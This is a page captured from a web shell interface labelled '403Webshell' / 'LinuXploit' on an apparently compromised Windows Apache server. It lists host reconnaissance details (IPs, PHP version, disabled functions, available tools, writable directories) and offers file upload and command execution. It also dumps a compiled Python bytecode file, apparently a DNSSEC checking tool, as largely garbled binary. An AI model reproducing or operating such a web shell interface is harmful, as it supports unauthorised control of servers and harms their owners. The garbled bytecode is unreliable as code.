403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.7/site-packages/isc/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.7/site-packages/isc/__pycache__/checkds.cpython-37.pyc
B

��e]%�@shddlZddlZddlZddlmZmZddlmZmZdZ	Gdd�d�Z
d
dd�Zd	d
�Zdd�Z
dS)�N)�Popen�PIPE)�prefix�versionzdnssec-checkdsc@sPeZdZddddd�ZdZdZdZdZdZdZ	d	Z
dd
d�Zdd
�Zdd�Z
dS)�SECRRzSHA-1zSHA-256ZGOSTzSHA-384)������INNrcCs�|st�t|�tk	r$|�d���}n|��}t|�dkr<t�|r�d|_|��|_|d���	d��d�}|�
�|�d�}|�
�xDt|�dkr�t|�dkr�|d|dkr�|dd�}|dd�}q�W|r�t�|�
�d�|�|_|jd|jd|_
nd|_|d��|_
|dd�}|d��dk�rJ|d��|_|dd�}n(t|d�|_|d��|_|d	d�}|d��|jk�r�td
|d��|jf��tt|dd��\|_|_|_d�|dd����|_dS)
N�ascii��DLVr�.r�DS)rZCHZHSrz%s does not match %sr
r)�	Exception�type�str�decode�split�len�rrtype�lower�dlvname�strip�reverse�join�parent�rrname�upper�rrclass�int�ttl�map�keyid�keyalg�hashalg�digest)�selfZrrtextrZfieldsr�dlv�r+�/usr/lib/python3.7/checkds.py�__init__$sH

*zSECRR.__init__cCs$d|j|j|j|j|j|j|jfS)Nz%s %s %s %d %d %d %s)rr!rr%r&r'r()r)r+r+r,�__repr__SszSECRR.__repr__cCs|��|��kS)N)r.)r)�otherr+r+r,�__eq__XszSECRR.__eq__)N)�__name__�
__module__�__qualname__�hashalgsrr!r%r&r'r(r#r-r.r0r+r+r+r,rs
/rc
	Cs&g}|jddd|rdndd|r*|d|n|g}t|td���\}}x6|��D]*}t|�tk	rh|�d	�}|�t	||��qNWt
|d
d�d�}g}	|r�|jd
|g}|r�|d|g7}|�|�t|td���\}}ndt|jddddd|gtd���\}
}|jd
dg}|�r|d|g7}|�|�t|ttd��|
�\}}x:|��D].}t|�tk	�rZ|�d	�}|	�t	||���q>Wt|	�dk�r�t
d�dSd}xv|	D]n}||k�r�t
d|j|j�d�|j|jt	j|jf�d}n,t
d|j|j�d�|j|jt	j|jf��q�W|�s"t
d|�rdnd�|S)Nz+noallz+answerz-tr*Zdsz-qr)�stdoutr
cSs|j|j|jfS)N)r%r&r')�rrr+r+r,�<lambda>m�zcheck.<locals>.<lambda>)�keyz-fz-lZdnskey�-)�stdinr5rz$No DNSKEY records found in zone apexFz,%s for KSK %s/%03d/%05d (%s) found in parentTz0%s for KSK %s/%03d/%05d (%s) missing from parentz'No %s records were found for any DNSKEYrr)�digrrZcommunicate�
splitlinesrrr�appendr�sorted�	dsfromkeyr�printrrrr&r%r4r')
�zone�args�
masterfile�	lookasideZrrlist�cmd�fp�_�lineZklistZintods�foundr6r+r+r,�checkcsV





rKcCs�tjtdd�}d}tjdkr"dnd}|jdtdd�|jd	d
dtdd
�|jdddtdd
�|jdddtj�t	|�d�tdd�|jdddtj�t	|�d�tdd�|jdddt
d�|��}|j�
d �|_|jr�|j�
d �|_|S)!Nz: checks DS coverage)�description�bin�ntZsbinrBz
zone to check)r�helpz-fz--filerDzzone master file)�destrrOz-lz--lookasiderEzDLV lookaside zonez-dz--digr<z
path to 'dig')rP�defaultrrOz-Dz--dsfromkeyr@zdnssec-dsfromkeyzpath to 'dnssec-dsfromkey'z-vz	--versionr)�actionrr)�argparse�ArgumentParser�prog�os�name�add_argumentr�pathrrr�
parse_argsrBrrE)�parserZbindirZsbindirrCr+r+r,rZ�s,




rZcCs.t�}t|j||j|j�}t|r$dnd�dS)Nrr)rZrKrBrDrE�exit)rCrJr+r+r,�main�sr])NN)rSrV�sys�
subprocessrrZ	isc.utilsrrrUrrKrZr]r+r+r+r,�<module>sI
; 

Youez - 2016 - github.com/yon3zu
LinuXploit